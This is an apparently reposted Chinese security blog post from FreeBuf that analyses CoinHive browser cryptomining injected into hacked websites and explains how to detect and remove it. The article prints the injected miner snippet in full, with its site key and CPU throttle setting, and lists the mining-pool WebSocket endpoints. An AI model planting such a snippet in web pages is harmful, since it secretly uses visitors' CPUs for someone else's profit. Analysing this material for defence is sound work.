CoinHive智能網頁挖礦的二三事
0x0背景
挖礦目前已經成為黑帽子牟利的主要手段,最近上網偶然間發現部分網站被掛馬後存在網頁挖礦的行為,區別於常規病毒操作系統中挖礦行為,網頁主要在網站上掛上惡意的JS腳本,訪問該網站即觸發挖礦動作。
目前很多網頁挖礦主要以CoinHive的方式較多,一般挖礦用戶以主動方式直接使用C或者其他語言構造的miner客戶端進行CPU或GPU計算Hash。前端挖礦用戶以被動或主動方式在不知情或知情情況下利用瀏覽者的CPU或GPU。
0x1現象
訪問惡意網站時CPU飆升,關閉網站後回復正常水平。
關閉之後:
0x2源代碼分析
查看網頁源代碼可發現部分挖礦的代碼,經過簡單確定非手機瀏覽器後,即開始挖礦的動作。
瀏覽器進程佔用了較大的CPU資源:
查看瀏覽器進程中,可以在內存地址中發現有挖礦地址的痕迹:
主要引用的挖礦代碼的詳細都在引用的JS腳本當中,僅使用70%的CPU資源。
<script src="//i1.wp.com/coinhive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.Anonymous("Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt", {throttle: 0.7}); if (!miner.isMobile() && !miner.didOptOut(14400)) { miner.start();}</script>
Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt:CoinHive 當中的錢包地址;
throttle:瀏覽器佔用CPU的閾值,調節到合適的閾值時用戶會很難注意到瀏覽器的算力被濫用。
coinhive.min.js源碼如下:
挖礦腳本使用WebSocket與礦池進行通信,部分的礦池結點如下:
wss://ws001.coinhive.com/proxy wss://ws002.coinhive.com/proxy wss://ws003.coinhive.com/proxy wss://ws004.coinhive.com/proxy wss://ws005.coinhive.com/proxy wss://ws006.coinhive.com/proxy wss://ws007.coinhive.com/proxy wss://ws008.coinhive.com/proxy wss://ws009.coinhive.com/proxy wss://ws010.coinhive.com/proxy wss://ws011.coinhive.com/proxy wss://ws012.coinhive.com/proxy
挖礦腳本允許自動調節線程數目:
this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));this._stopOnInvalidOptIn=false;this._waitingForAuth=false;this._selfTestSuccess=false;this._verifyThread=null;this._autoThreads={enabled:!!this.params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random()*16777215|0,mode:CoinHive.IF_EXCLUSIVE_TAB,grace:0,waitReconnect:0,lastPingReceived:0,interval:null};
0x3 解決方法:
1.根據頁面後查看網頁源代碼,搜索有關於CoinHive,Miner等關鍵字可以快速定位到界面,使用記事本或者網頁編輯器刪除挖礦的關鍵代碼。
2.訪問小電影網站時候多留心自己的CPU性能。
*本文作者si1ence,轉載請註明來自FreeBuf.COM


※看黑客如何在5分鐘內在筆記本上安裝一個固件後門
※淺析AMR智能合約批量轉賬溢出漏洞
TAG:FreeBuf |